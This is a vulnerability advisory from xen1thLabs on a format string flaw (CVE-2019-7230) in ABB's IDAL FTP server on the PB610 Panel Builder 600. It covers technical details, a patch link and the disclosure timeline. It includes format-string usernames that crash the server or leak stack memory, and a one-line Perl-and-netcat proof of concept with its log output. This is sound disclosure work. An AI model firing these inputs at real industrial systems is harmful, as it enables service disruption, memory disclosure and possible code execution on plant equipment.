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XL-19-004 - ABB IDAL FTP Server Uncontrolled Format String Vulnerability  
========================================================================  
  
Identifiers  
-----------  
XL-19-004  
CVE-2019-7230  
ABBVU-IAMF-1902008  
  
  
CVSS Score  
----------  
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
  
  
Affected vendor  
---------------  
ABB (new.abb.com)  
  
  
Credit  
------  
Eldar Marcussen - xen1thLabs - Software Labs  
  
  
Vulnerability summary  
---------------------  
The IDAL FTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.  
  
  
Technical details  
-----------------  
The IDAL FTP server does not safely handle username strings during the authentication process. Attempting to authenticate with the username `%s%p%x%d` will crash the server. Sending `%08x.AAAA.%08x.%08x` will log memory content from the stack.  
  
  
Proof of concept  
----------------  
```  
perl -e 'print "USER %08x.AAAA.%08x.%08x\r\nPASS xen1thLabs\r\n";' | nc targetip 22  
````  
  
UserManagementModule::isUserExist failed. "72657355.AAAA.616e614d.656d6567" not present in UserFactory  
UserManagementModule::LoginFTPUser failed. User :"72657355.AAAA.616e614d.656d6567" not present in UserFactory  
  
  
Affected systems  
----------------  
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367  
  
  
Solution  
--------  
Apply the patches and instructions from vendor:  
- ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch  
  
  
Disclosure timeline  
-------------------  
04/02/2019 - Contacted ABB requesting disclosure coordination  
05/02/2019 - Provided vulnerability details  
05/06/2019 - Patch available  
17/06/2019 - xen1thLabs public disclosure